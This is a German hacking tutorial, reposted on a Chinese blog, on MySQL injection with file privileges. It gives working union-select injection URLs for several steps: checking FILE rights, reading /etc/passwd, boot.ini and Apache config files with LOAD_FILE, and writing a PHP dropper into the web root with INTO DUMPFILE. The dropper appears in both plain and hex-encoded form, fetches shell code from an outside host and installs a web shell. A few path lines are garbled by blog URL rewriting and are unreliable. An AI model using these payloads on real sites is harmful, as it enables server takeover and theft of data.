SQL注入和文件提权
德国人写的关SQL注入和文件提权的文章
[+]info:
~~~~~~~~~
WEBSECURITY
DOCUMENTATION
SQL Injection with File Privileges
written by fred777
[fred777.5x.to]
[+]content:
~~~~~~~~~
–[0x00]– Intro
–[0x01]– Knowledge
[1]
Load_File
[2] Dumpfile und Outfile
–[0x02]– Exploiting
[1] Privilegien mit mysql.user
[2]
Privilegien mit information_schema
[3] Directories mittels Error
[4]
Directories mittels Configfiles
[5] Schreiben mit DUMPFILE
–[0x03]– Finito
********************************************************
##################################################
–[0x00]– Intro
Willkommen zu meinem Tutorial über die File Privilegien bei SQL
Injections.
Ich denke auch hier werden ich nicht jeden Befehl erklären, da er
in anderen Tutorials bereits
erklärt wurde…
Neue Sachen werden
selbstverständlich dokumentiert.
#############################################################
–[0x01]– Knowledge
——————————————————-
[1] LOAD_FILE
——————————————————-
Wir werden wie schon bekannt mit Selectqueries arbeiten, doch kommt noch
etwas Neues hinzu, zum
ersten mal LOAD_FILE(). Sofern die Rechte stimmen,
wird das angegebene File gelesen,
der Inhalt als String zurückgegeben und das
Resultat ausgegeben.
Die Datei muss lesbar sein und kleiner sein als
max_allowed_packet Bytes. Ansonsten wird NULL
zurückgegeben.
Der Syntax
ist recht einfach: LOAD_FILE(‘<absoluter pfad>’)
——————————————————-
[2] Dumpfile und Outfile
——————————————————-
Kommen wir nun zu INTO OUTFILE und INTO DUMPFILE, hier werden die angegebenen
Datensätze
in eine Datei (OUTFILE) geschrieben. Auch hier muss natürlich die
Berechtigung stimmen.
Allerdings muss OUTFILE ‘file’ ein nicht vorhandenes
File sein, sonst könnte man einfach die
etc/passwd überschreiben oder
Sonstiges anrichten.
Die Datei kann von allen Benutzern geschrieben werden,
da MySQL Server selbst gar keine Datei erstellen kann,
deren Besitzer jemand
anders als der eigentliche Benutzer ist, insofern ist es schlecht,
mysqld als
root auszuführen. Doch was ist der Unterschied von INTO OUTFILE und INTO
DUMPFILE?
Mit Dumpfile wird nur ein Datensatz verwendet ohne lästige Zeichen
wie Trennunszeichen etc..
Deshalb verwenden wir hier ebenfalls DUMPFILE.
Syntax: SELECT * INTO DUMPFILE ‘<absoluter pfad>’
##############################################################
–[0x02]– Exploiting
Wir haben also eine Lücke und eine
Ausgabe:
www.seite.de/index.php?id=777+union+select+1,2,3,4– f => 3 wird
ausgegeben
Schauen wir doch gleich mal, ob magic_quotes on oder off sind, d.h. ob
bestimmte Zeichen
escaped werden..
www.seite.de/index.php?id=777+union+select+1,2,’test’,4– f => test wird ausgegeben
——————————————————-
[1] Privilegien mit
mysql.user
——————————————————-
Umso besser, wir müssen nicht mit hex arbeiten. Unser Ziel ist es, am Schluss
eine Shell auf den
Server zusetzen, bzw auszuführen. Zuerst schauen wir
allerdings ob uns die File Privilegien gegeben sind.
Dafür gibt es mehrere
Möglichkeiten dies herauszufinden. Erstens über die mysql.user Tabelle.
Wir
benötigen natürlich die Rechte für aktuellen User, welchen wir mit user()
auslesen können:
www.seite.de/index.php?id=777+union+select+1,2,user(),4– f => fred@localhost wird ausgegeben
Wie gesagt, die File Privilegien liegen als Column ‘file_priv’ in der mysql.user Table:
www.seite.de/index.php?id=777+union+select+1,2,concat(username,0x3a,file_priv),4+from+mysql.user+limit+0,1 — f => YES
Mit Limit gehen wir die User durch und schauen wie es mit unseren steht, es
wird YES ausgegeben, d.h. die Rechte
sind gegeben.
——————————————————-
[2] Privilegien mit
information_schema
——————————————————-
Die zweite Möglichkeit funktioniert nur ab Version 5 mittels der
INFORMATION_SCHEMA Datenbank, auch hier sind
die Rechte gespeichert, und zwar
in der Table: user_privileges
Wir sagen, wir möchten den Usernamen (grantee)
und die Option (is_grantable) haben mit dem Privilegientyp FILE:
www.seite.de/index.php?id=777+union+select+1,2,concat(grantee,0x3a,is_grantable),4+from+information_schema.user_privileges+where+privilege_type=’file’+limit+0,1 — f
Auch hier suchen wir mit Limit nach unserem user aus user() und schauen ob NO
oder YES ausgegeben wird.
Natürlich könnten wir auch eine WHERE Bedingung
starten, welche uns direkt den User ausgibt, doch damit steigt
auch die
Fehlerquote, deshalb machen wir es einfach mit Limit. Man muss natürlich auf
magic_quotes achten, falls
es auf ON steht, werden z.B. ‘ escaped, dann muss
mit Hex gearbeitet werden.
——————————————————-
[3] Directories mittels
Error
——————————————————-
So, jetzt wissen wir, dass die nötigen Rechte gegeben sind. Da wir ja später
in eine Datei schreiben möchten,
brauchen wir erstmal Informationen über das
Betriebssystem, sowie den richtigen Pfad, dass unsere Datei
dann auch mittels
dem Webserver freigegeben wird.
Um an den Pfad zu gelangen gibt es auch
verschiedene Möglichkeiten, z.B. durch einen Error, welcher
automatisch den
Pfad der Datei ausgeben kann, dies kann einfach dur einen invaliden Query
passieren:
www.seite.de/index.php?id=777””’– f =>
mysql_fetch_array() Error….. in /var/fred/www/mysql.php
Somit wissen wir, dass die Seite ziemlich sicher auf Linux läuft und wir
können unser Load_file gleich mal testen.
Eine Datei welche bei Linux immer
vorhanden ist, ist etc/passwd.
www.seite.de/index.php?id=777+union+select+1,2,load_file(‘/etc/passwd’),4–
f
Tada, es erscheint der Inhalt wie erwünscht.
Usere Datei später können wir also einfach nach /var/fred/www/<unseredatei> schreiben lassen.
Bei Windows würde der Pfad etwa so aussehen:
mysql_fetch_array()….. in
C:\xampp\htdocs\sql.php
Und die Datei welche bei Windows eigentlich immer
besteht ist C:\boot.ini
www.seite.de/index.php?id=777+union+select+1,2,load_file(‘C:\boot.ini’),4– f
——————————————————-
[4] Directories mittels
Configfiles
——————————————————-
Eine andere Methode ist die Configdatei des Webservers auszulesen, hilfreich
dann z.B.
wenn kein Error erscheint. Wir nehmen mal an, es wird Apache
benutzt. Häufig sitzt das
File so:
/etc/init.d/apache
/etc/init.d/apache2
/etc/httpd/httpd.conf
/etc/apache/apache.conf
/etc/apache/httpd.conf
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/httpd.conf
/opt/apache/conf/httpd.conf
/home/apache/httpd.conf
/home/apache/conf/httpd.conf
Sollte nicht Apache benutzt werden, kann man sich das Package immer noch
laden und
manuell nach schauen. Um die Dateien auszulesen, benutzen wir
wieder load_file()..
www.seite.de/index.php?id=777+union+select+1,2,load_file(‘/etc/apache/apache.conf’),4– f
——————————————————-
[5] Schreiben mit DUMPFILE
——————————————————-
So kommen wir nun zu INTO DUMPFILE, printipiell wird einfach das was selected
wird in
eine Datei geschrieben, einfach unter Linux im TMP Ordner zu
zeigen:
www.seite.de/index.php?id=777+union+select+1,2,’test’,4+INTO DUMPFILE+’/tmp/1.txt’– f
Wir bekommen einen Error, das soll uns aber nicht aufhalten, wir benutzen
load_file
um den Inhalt anzuzeigen:
www.seite.de/index.php?id=777+union+select+1,2,load_file(‘/tmp/1.txt’),4– f => 12test4
Es funktioniert also wunderbar.
Jetzt können wir unsere eigenen Files
erstellen, eine Shell z.B., da das aber eine Menge Text
ist, wäre ein
Uploader sicher besser, außerdem soll unsere Datei ja im richtigen Verzeichnis
laden.
PHP Files z.B. warten ja darauf ausgeführt zu werden. Ich nehme dazu
einen relativ kleinen Code,
welcher, sobald ausgeführt, eine Shell
erstellt.
<?$c=fopen(“shell.php”,”a”);fwrite($c,file_get_contents(“http://seite.de/shell.txt”));?>
www.seite.de/index.php?id=777+union+select+1,2,’<?$c=fopen(“shell.php”,”a”);fwrite($c,file_get_contents(“http://seite.de/shell.txt”));?>’,4+into+DUMPFILE+’/var/fred/www/1.php’– f
Sollte uns durch den mySQL Error nur ein Teil des Pfades gezeigt
werden,
können wir immer noch mit http://www.cnblogs.com/http://www.cnblogs.com/../ weiter zurück springen.
www.seite.de/index.php?id=777+union+select+1,2,’<?$c=fopen(“shell.php”,”a”);fwrite($c,file_get_contents(“http://seite.de/shell.txt”));?>’,4+into+DUMPFILE+’http://www.cnblogs.com/www/1.php’– f
Natürlich funktioniert das auch mit Hex, keine Angst vor der Länge des Strings:
www.seite.de/index.php?id=777+union+select+1,2,
0x3c3f24633d666f70656e28227368656c6c2e706870222c226122293b6677726974652824632c66696c655f6765745f636f6e74656e74732822687474703a2f2f73656974652e64652f7368656c6c2e7478742229293b3f3e
,4+into+dumpfile+0x2f7661722f667265642f7777772f746573742f312e706870
So, jetzt sollte in diesem Verzeichnis die 1.php erstell worden sein und bei
Aufruf wird eine Shell erstellt, bzw.
eine Datei mit dem Code, welcher in der
TXT Datei steht. Haben wir das richtige Verzeichnis gewählt, ist die
1.php
auf: www.seite.de/1.php verfügbar
Es hat also alles geklappt, unter Windows wäre das nicht viel anders
abgelaufen:
Wir
testen:
www.seite.de/index.php?id=777+union+select+1,2,’test’,4+into+dumpfile+’C:\1.txt’–
f
www.seite.de/index.php?id=777+union+select+1,2,load_file(‘C:\1.txt’),4– f
=> 12test4
Alles funktioniert, jetzt also den absoluten Pfad der Seite C:\xampp\htdocs\sql.php
und unsern lieben Text
wieder:
www.seite.de/index.php?id=777+union+select+1,2,’<?$c=fopen(“shell.php”,”a”);fwrite($c,file_get_contents(“http://seite.de/shell.txt”));?>’,4+into+DUMPFILE+’C:\xampp\htdocs\test\1.php’–
f
Und das ganze aufrufen:
www.seite.de/test/1.php => Shell wird
erstellt und ist unter
www.seite.de/test/shell.php verfügbar
#################################################################
–[0x03]– Finito
So ich hoffe ihr habt alles so weit verstanden. Falls nicht, lieber noch
meine anderen
Paper lesen auf fred777.5x.to